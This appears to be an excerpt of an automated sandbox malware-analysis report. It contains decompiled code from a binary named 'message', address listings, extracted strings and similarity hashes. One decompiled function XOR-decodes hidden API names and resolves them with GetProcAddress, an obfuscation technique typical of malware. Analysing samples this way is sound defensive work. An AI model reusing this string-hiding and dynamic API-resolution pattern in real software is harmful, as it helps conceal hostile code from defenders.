										_t1260 = E00425320(_t1487,  *((intOrPtr*)(_t1514 + 0x84 + _t1494 * 4)));
										_t1500 = _t1514 + 8;
										if(_t1260 != 0) {
											break;
										}
										_t1494 = _t1494 + 1;
										if(_t1494 < 0x3e) {
											continue;
										}
										if(_v20 >= 0x10) {
											_push(_v40);
											L00424BCD();
											_t1500 = _t1500 + 4;
										}
										_t1165 = 1;
										goto L100;
									}
									if(_v20 < 0x10) {
										L106:
										_t1165 = 0;
										goto L100;
									}
									_push(_v40);
									L00424BCD();
									_t1500 = _t1500 + 4;
									_t1165 = 0;
									goto L100;
								}
								_t1264 = 0x58;
								do {
									_v896 = _v896 | _t1264;
									_t1265 = E004253A6( *_t1492);
									_t1500 = _t1500 + 4;
									if(_t1265 != 0) {
										goto L21;
									}
									_t1269 = E004253E5( *_t1492);
									_t1500 = _t1500 + 4;
									if(_t1269 != 0) {
										goto L21;
									}
									_t1270 =  *_t1492;
									if(_t1270 != 0x2e && _t1270 != 0x5f && _t1270 != 0x2d) {
										if(_t1492 == _t1474) {
											goto L22;
										}
										if(_v20 >= 0x10) {
											_push(_v40);
											L00424BCD();
											_t1500 = _t1500 + 4;
										}
										goto L106;
									}
									L21:
									_t1399 = _v896;
									_t1264 = _t1399 * 0x00000038 & 0x000000ff;
									_t1492 = _t1492 + 1;
									_v896 = _t1399 | _t1264 | 0x00000002;
								} while (_t1492 != _t1474);
								goto L22;
							} else {
								goto L10;
							}
							do {
								L10:
								_t1273 =  *_t1491;
								if(_t1273 == 0x2e || _t1273 == 0x40) {
									_t12 = _t1491 + 1; // 0x0
									E00408A60( &_v44, _t12, _t1281);
									_t1281 = _t1491;
									if(E004075C0( &_v52) == 0) {
										goto L7;
									}
								}
								_t1491 = _t1491 - 1;
							} while (_t1491 >= _t1474);
							goto L14;
						}
						L7:
						E004023D0( &_v44);
						goto L8;
					}
					L3:
					_t1165 = 0;
					goto L101;
				}
				_t1165 = 0;
				goto L102;
			}

0x00408bc0
0x00408bc0
0x00408bc2
0x00408bcd
0x00408bce
0x00408bd5
0x00408bdb
0x00408be2
0x00408bed
0x00408bf4
0x00408bf8
0x00408c01
0x00408c0a
0x00408c0c
0x00408c11
0x00408c21
0x00000000
0x00000000
0x00408c2c
0x00408c30
0x00408c35
0x00408c86
0x00408c86
0x0040adf4
0x0040adf5
0x0040adf6
0x0040adfe
0x0040ae18
0x0040ae18
0x00408c37
0x00408c42
0x00408c49
0x00408c50
0x00408c5b
0x00408c62
0x00408c78
0x00408c8d
0x00408c8f
0x00408c92
0x00408ccb
0x00408ccd
0x00408cd5
0x00408cdc
0x00408d3b
0x00408d3b
0x00408d43
0x00408d4b
0x00408d53
0x00408d5b
0x00408d63
0x00408d6b
0x00408d73
0x00408d7b
0x00408d83
0x00408d8b
0x00408d93
0x00408d9b
0x00408da0
0x00408db0
0x00408db7
0x00408db8
0x00408dc4
0x00408dc6
0x00408dce
0x00408dd6
0x00408dde
0x00408de6
0x00408dee
0x00408df6
0x00408dfe
0x00408e06
0x00408e0e
0x00408e16
0x00408e1e
0x00408e26
0x00408e2e
0x00408e36
0x00408e43
0x00408e5e
0x00408e66
0x00408e6e
0x00408e76
0x00408e7e
0x00408e86
0x00408e8e
0x00408e96
0x00408e9e
0x00408ea6
0x00408eae
0x00408eb6
0x00408eca
0x00408edb
0x00408ee3
0x00408eeb
0x00408ef3
0x00408efb
0x00408f03
0x00408f0b
0x00408f13
0x00408f1b
0x00408f23
0x00408f2b
0x00408f33
0x00408f3b
0x00408f43
0x00408f4b
0x00408f53
0x00408f5b
0x00408f60
0x00408f67
0x00408f6e
0x00408f7c
0x00408f80
0x00408f88
0x00408f8c
0x00408f94
0x00408f9c
0x00408fa4
0x00408fac
0x00408fb3
0x00408fbb
0x00408fc3
0x00408fcb
0x00408fd3
0x00408fdb
0x00408fe3
0x00408fe8
0x00408feb
0x00408fef
0x00408ff7
0x00408fff
0x00409007
0x0040900f
0x00409017
0x0040901f
0x00409027
0x00409030
0x00409030
0x00409038
0x00409039
0x00409040
0x00409048
0x00409050
0x00409058
0x00409060
0x00409067
0x0040906f
0x00409077
0x0040907f
0x00409087
0x0040908f
0x00409097
0x0040909f
0x004090a7
0x004090af
0x004090b1
0x004090b8
0x004090bf
0x004090c0
0x004090c5
0x004090cd
0x004090d5
0x004090dd
0x004090e5
0x004090ed
0x004090f5
0x004090fd
0x00409105
0x0040910d
0x00409115
0x00409120
0x00409127
0x0040912e
0x0040912f
0x00409134
0x0040913c
0x00409144
0x0040914c
0x00409154
0x0040915c
0x00409164
0x0040916c
0x00409174
0x0040917b
0x00409183
0x0040918b
0x00409193
0x0040919b
0x004091a3
0x004091b0
0x004091c0
0x004091c7
0x004091c8
0x004091cd
0x004091d5
0x004091dd
0x004091e5
0x004091ed
0x004091f5
0x004091fd
0x00409205
0x0040920d
0x00409215
0x0040921d
0x00409225
0x0040922d
0x00409235
0x0040923d
0x00409245
0x0040924d
0x00409255
0x0040925d
0x00409260
0x00409270
0x00409277
0x00409278
0x00409291
0x00409299
0x004092a1
0x004092a9
0x004092b1
0x004092b9
0x004092c1
0x004092c9
0x004092d1
0x004092d9
0x004092ed
0x004092fe
0x00409306
0x0040930e
0x00409316
0x0040931e
0x00409326
0x0040932e
0x00409336
0x0040933e
0x00409345
0x0040934d
0x00409355
0x0040935d
0x00409369
0x0040936a
0x00409372
0x00409376
0x0040937e
0x00409386
0x0040938e
0x00409396
0x0040939e
0x004093a6
0x004093ae
0x004093b6
0x004093be
0x004093c6
0x004093ce
0x004093d6
0x004093db
0x004093de
0x004093e2
0x004093ea
0x004093f2
0x004093fa
0x00409402
0x0040940a
0x00409412
0x0040941a
0x00409422
0x0040942a
0x00409432
0x00409440
0x00409450
0x00409457
0x00409458
0x0040945d
0x00409465
0x0040946d
0x00409475
0x0040947d
0x00409485
0x0040948d
0x00409495
0x0040949d
0x004094a5
0x004094ad
0x004094b5
0x004094bd
0x004094c5
0x004094cd
0x004094d0
0x004094e0
0x004094e7
0x004094e8
0x004094ed
0x004094f5
0x004094fd
0x00409505
0x0040950d
0x00409515
0x0040951d
0x00409520
0x00409520
0x00409528
0x00409529
0x0040952e
0x00409536
0x0040953e
0x00409546
0x0040954e
0x00409556
0x0040955e
0x00409566
0x0040956e
0x00409570
0x00409570
0x00409578
0x00409579
0x00409585
0x00409589
0x00409591
0x00409599
0x004095a1
0x004095a9
0x004095b1
0x004095b9
0x004095c1
0x004095c9
0x004095d1
0x004095d9
0x004095e0
0x004095e8
0x004095f0
0x004095f8
0x00409600
0x00409608
0x00409610
0x00409615
0x00409618
0x0040961c
0x00409624
0x0040962c
0x00409634
0x0040963c
0x00409644
0x0040964c
0x00409654
0x0040965c
0x00409664
0x0040966c
0x00409670
0x00409680
0x00409687
0x00409688
0x00409694
0x00409696
0x0040969e
0x004096a6
0x004096ae
0x004096b6
0x004096be
0x004096c6
0x004096ce
0x004096d6
0x004096de
0x004096e6
0x004096ee
0x004096f6
0x004096fe
0x00409706
0x0040970e
0x00409713
0x00409716
0x0040971a
0x00409721
0x00409729
0x00409731
0x00409739
0x00409741
0x00409749
0x00409751
0x00409759
0x00409761
0x00409769
0x00409770
0x00409780
0x00409787
0x00409788
0x0040978d
0x00409795
0x0040979d
0x004097a5
0x004097ad
0x004097b5
0x004097bd
0x004097c5
0x004097cd
0x004097d5
0x004097dd
0x004097e0
0x004097f0
0x004097f7
0x004097f8
0x004097ff
0x00409806
0x0040980d
0x00409815
0x0040981d
0x00409825
0x0040982d
0x00409835
0x0040983d
0x00409845
0x0040984d
0x00409855
0x0040985d
0x00409865
0x0040986d
0x00409875
0x0040987d
0x00409880
0x00409890
0x00409897
0x00409898
0x0040989d
0x004098a2
0x004098a7
0x004098ac
0x004098b1
0x004098b3
0x004098b3
0x004098b8
0x004098b9
0x004098be
0x004098c6
0x004098ce
0x004098d6
0x004098de
0x004098e6
0x004098ee
0x004098f0
0x004098f0
0x004098f8
0x004098f9
0x00409905
0x00409907
0x0040990f
0x00409917
0x0040991f
0x00409927
0x0040992f
0x00409937
0x0040993f
0x00409947
0x0040994f
0x00409957
0x0040995f
0x00409967
0x0040996f
0x00409974
0x00409977
0x0040997e
0x00409986
0x0040998e
0x00409996
0x0040999e
0x004099a6
0x004099ae
0x004099b6
0x004099be
0x004099c6
0x004099ce
0x004099d6
0x004099de
0x004099e6
0x004099ee
0x004099f6
0x004099fe
0x00409a06
0x00409a0e
0x00409a10
0x00409a20
0x00409a27
0x00409a28
0x00409a43
0x00409a4b
0x00409a53
0x00409a5b
0x00409a63
0x00409a6b
0x00409a73
0x00409a7b
0x00409a83
0x00409a8b
0x00409a93
0x00409a9b
0x00409aa3
0x00409aab
0x00409ab3
0x00409abb
0x00409ac2
0x00409aca
0x00409ad2
0x00409ada
0x00409ae7
0x00409aeb
0x00409af3
0x00409afb
0x00409b03
0x00409b0b
0x00409b13
0x00409b1b
0x00409b23
0x00409b2a
0x00409b32
0x00409b3a
0x00409b42
0x00409b4a
0x00409b50
0x00409b60
0x00409b67
0x00409b68
0x00409b6d
0x00409b75
0x00409b7d
0x00409b85
0x00409b8d
0x00409b95
0x00409b9d
0x00409ba5
0x00409bad
0x00409bb5
0x00409bbd
0x00409bc5
0x00409bcd
0x00409bd0
0x00409be0
0x00409be7
0x00409be8
0x00409bed
0x00409bf5
0x00409bfd
0x00409c05
0x00409c0d
0x00409c15
0x00409c1d
0x00409c25
0x00409c2d
0x00409c35
0x00409c3d
0x00409c45
0x00409c4d
0x00409c50
0x00409c60
0x00409c67
0x00409c68
0x00409c73
0x00409c77
0x00409c8b
0x00409c90
0x00409c95
0x00409c9a
0x00409ca2
0x00409caa
0x00409cb7
0x00409cbb
0x00409cc3
0x00409ccb
0x00409cd3
0x00409cdb
0x00409ce3
0x00409ceb
0x00409cf3
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x00000000
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x00000000
0x0040adef
0x0040ae49
0x0040ae3d
0x0040ae3d
0x00000000
0x0040ae3d
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x00000000
0x0040ae5b
0x00408cde
0x00408ce3
0x00408ced
0x00408cf1
0x00408cf6
0x00408cfb
0x00000000
0x00000000
0x00408d01
0x00408d06
0x00408d0b
0x00000000
0x00000000
0x00408d0d
0x00408d11
0x0040ae1d
0x00000000
0x00000000
0x0040ae2b
0x0040ae34
0x0040ae35
0x0040ae3a
0x0040ae3a
0x00000000
0x0040ae2b
0x00408d1f
0x00408d1f
0x00408d29
0x00408d32
0x00408d35
0x00408d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00408c94
0x00408c94
0x00408c94
0x00408c98
0x00408c9f
0x00408caa
0x00408cbb
0x00408cc4
0x00000000
0x00000000
0x00408cc4
0x00408cc6
0x00408cc7
0x00000000
0x00408c94
0x00408c7a
0x00408c81
0x00000000
0x00408c81
0x00408c13
0x00408c13
0x00000000
0x00408c13
0x00408bfa
0x00000000

Strings

c, xrefs: 0040A98F
g, xrefs: 0040A0A9
I, xrefs: 0040A834
$, xrefs: 0040A7EC
3, xrefs: 00409986
&, xrefs: 0040A51D
a, xrefs: 004095A1
;, xrefs: 00409CC3
j, xrefs: 00409624
`, xrefs: 0040A68E
l, xrefs: 0040998E
d, xrefs: 0040A878
8, xrefs: 0040991F
K, xrefs: 00409EA7
\, xrefs: 0040A03A
4, xrefs: 00409465
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
F, xrefs: 00409048
L, xrefs: 0040AA35
5, xrefs: 0040961C
B, xrefs: 00409F86
', xrefs: 004093E2
}, xrefs: 0040A505
V, xrefs: 0040A75E
}, xrefs: 00409485
n, xrefs: 004090CD
+, xrefs: 0040A83C
L, xrefs: 0040A04F
K, xrefs: 00409F8E
s, xrefs: 00409030
Z, xrefs: 00409E9F
u, xrefs: 004090D5
}, xrefs: 0040939E
q, xrefs: 00409AF3
9, xrefs: 0040A057
Z, xrefs: 00409CEB
*, xrefs: 0040A5A5
_, xrefs: 0040A61E
%, xrefs: 00409A43
T, xrefs: 00409D6A
p, xrefs: 004093EA
E, xrefs: 0040A03F
1, xrefs: 00409BED
:, xrefs: 0040A3E2
>, xrefs: 0040981D
-, xrefs: 0040992F
", xrefs: 0040AA3D
E, xrefs: 004091E5
_, xrefs: 00409B95
4, xrefs: 0040AA23
H, xrefs: 004091DD
H, xrefs: 00408F9C
G, xrefs: 0040997E
3, xrefs: 00409CD3
-, xrefs: 0040A33F
z, xrefs: 00408DDE
t, xrefs: 0040A858
E, xrefs: 0040AA59
I, xrefs: 0040990F
., xrefs: 00409FA0
=, xrefs: 0040920D
}, xrefs: 0040A34F
), xrefs: 0040A8BB
., xrefs: 00409F96
j, xrefs: 0040A0B1
_, xrefs: 00409475
G@,, xrefs: 00408BDB
7, xrefs: 0040A5C5
l, xrefs: 0040A987
^, xrefs: 00409F7E
[, xrefs: 00409E97
:, xrefs: 0040A80C
5, xrefs: 00409C8B
I, xrefs: 00409A8B
T, xrefs: 0040A7DC
], xrefs: 0040A97F
?, xrefs: 0040A555
\, xrefs: 0040931E
9, xrefs: 004092A1
p, xrefs: 0040A3C2
K, xrefs: 00409C05
y, xrefs: 004091ED
$, xrefs: 0040913C
J, xrefs: 004096B6
?, xrefs: 00408F13
H, xrefs: 0040A0A1
7, xrefs: 00409C15
V, xrefs: 00409F66
4, xrefs: 00409CDB
;, xrefs: 0040A62E
i, xrefs: 00409E0D
b, xrefs: 00408D5B
n, xrefs: 00408EE3
N, xrefs: 004093FA
{, xrefs: 0040A170
', xrefs: 0040A844
^, xrefs: 0040A595
_, xrefs: 00409AAB
@, xrefs: 0040A030
", xrefs: 0040A047
d, xrefs: 0040A96F
., xrefs: 00409CCB
9, xrefs: 0040A1D2
n, xrefs: 00409D85
O, xrefs: 0040A5D5
J, xrefs: 0040AA4A
e, xrefs: 00409AFB
q, xrefs: 00409BAD
r, xrefs: 0040A860
&, xrefs: 0040A32F
%, xrefs: 004090C5
<, xrefs: 00409739
&, xrefs: 004095A9
h, xrefs: 0040A69E
6, xrefs: 00409A5B
2, xrefs: 0040A3DA
f, xrefs: 0040999E
Z, xrefs: 0040AA1E
O, xrefs: 00409F6E
2, xrefs: 00408F0B
!, xrefs: 004091CD
d, xrefs: 0040A160
Z, xrefs: 00409D00
(, xrefs: 00408F8C
/, xrefs: 00408D53
o, xrefs: 004098E6
t, xrefs: 00409E87
;, xrefs: 0040A5BD
=, xrefs: 00409CE3
*, xrefs: 00409B03
, xrefs: 0040A4FD
>, xrefs: 00409134
D, xrefs: 0040A7E4
-, xrefs: 00409706
c, xrefs: 00409591
[, xrefs: 004099BE
a, xrefs: 004090DD
F, xrefs: 0040A63E
K, xrefs: 00409A4B
E, xrefs: 0040A236
_, xrefs: 0040A814
#, xrefs: 0040A626
), xrefs: 0040980D
!, xrefs: 0040A565
g, xrefs: 004096A6
4, xrefs: 00409D95
x, xrefs: 00408DE6
E, xrefs: 00409CAA
N, xrefs: 0040906F
i, xrefs: 004096CE
P, xrefs: 0040A64E
U, xrefs: 00408DEE
C, xrefs: 00409F76
s, xrefs: 0040A804
d, xrefs: 0040A868
[, xrefs: 0040A1F2
u, xrefs: 0040A880
o, xrefs: 004098F0
s, xrefs: 0040901F
o, xrefs: 0040A870
Z, xrefs: 00408E76
#, xrefs: 00409E1D
/, xrefs: 004098DE
5, xrefs: 0040A646
$, xrefs: 00409AD2
), xrefs: 00409D7D
P, xrefs: 0040A766
W, xrefs: 00409050
<, xrefs: 00409A73
E, xrefs: 00408DD6

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$$$%$%$&$&$&$'$'$($)$)$)$*$*$+$-$-$-$.$.$.$/$/$1$2$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$?$@$B$C$D$E$E$E$E$E$E$F$F$G$G@,$H$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$N$O$O$P$P$T$T$U$V$V$W$Z$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$a$b$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$n$n$o$o$o$p$p$q$q$r$s$s$s$t$t$u$u$x$y$z${${$}$}$}$}
API String ID: 0-1039936902
Opcode ID: fcd362075771919aa209d5a175f4e19b3383066e46c272e99d7fa23161f6263d
Instruction ID: 112317c9313a74c9b12a8399abeb6d4382841cb44c361794d62521e76ea744b4
Opcode Fuzzy Hash: fcd362075771919aa209d5a175f4e19b3383066e46c272e99d7fa23161f6263d
Instruction Fuzzy Hash: 1513B12000C7C29AD332C63898587DFBED55BA7328F588BADD1ED4A2D2D775020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0041D159, Relevance: 233.4, APIs: 17, Strings: 116, Instructions: 622
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0041D159(void* __eax, void* __ebx, char _a16, char _a17, char _a18, char _a19, char _a20, char _a21, char _a22, char _a23, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a31, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a96, char _a97, char _a98, char _a99, char _a100, char _a101, char _a102, char _a103, char _a104, char _a105, char _a106, char _a108, char _a109, char _a110, char _a111, char _a112, char _a113, char _a114, char _a115, char _a116, char _a117, char _a118, char _a119, char _a120, char _a121, char _a122, char _a123, char _a124, char _a125, char _a126, char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a150, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a304, char _a305, char _a306, char _a307, char _a308, char _a309, char _a310, char _a311, char _a312, char _a313, char _a314, char _a315, char _a316, char _a317, char _a318, char _a319, CHAR* _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0xec])) =  *(__esp +  &(__eax[0xec])) ^  *(__esp +  &(__eax[0x10]));
					 *(__esp +  &(__eax[0xed])) =  *(__esp +  &(__eax[0xed])) ^  *(__esp +  &(__eax[0x11]));
					 *(__esp +  &(__eax[0xee])) =  *(__esp +  &(__eax[0xee])) ^  *(__esp +  &(__eax[0x12]));
					__eax =  &(__eax[3]);
				} while (__eax < 0x15);
				__edx =  &_a236;
				__eax = GetProcAddress(__edi,  &_a236);
				 *0x431ee4 = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__eax =  &_a216;
					_push(0xe);
					_push( &_a216);
					__eax =  &_a16;
					_a216 = 0x23;
					_a217 = 0x93;
					_a218 = 0x35;
					_a219 = 0xe2;
					_a220 = 0x14;
					_a221 = 0xc4;
					_a222 = 0xca;
					_a223 = 0x89;
					_a224 = 0x5f;
					_a225 = 0xd1;
					_a226 = 0x4b;
					_a227 = 0x12;
					_a228 = 0x74;
					_a229 = 6;
					_a16 = 6;
					_a17 = 0;
					_a18 = 0x7c;
					_a19 = 0x2e;
					_a20 = 0xa7;
					_a21 = 0x1a;
					_a22 = 0xec;
					_a23 = 0xb9;
					_a24 = 0xab;
					_a25 = 0x78;
					_a26 = 0xa1;
					_a27 = 0x74;
					_a28 = 0xc0;
					_a29 = 0x74;
					__eax = E0041C580( &_a16);
					__esp = __esp + 8;
					__eax = GetProcAddress(__edi, __eax);
					 *0x431ee8 = __eax;
					if(__eax == 0) {
						goto L1;
					} else {
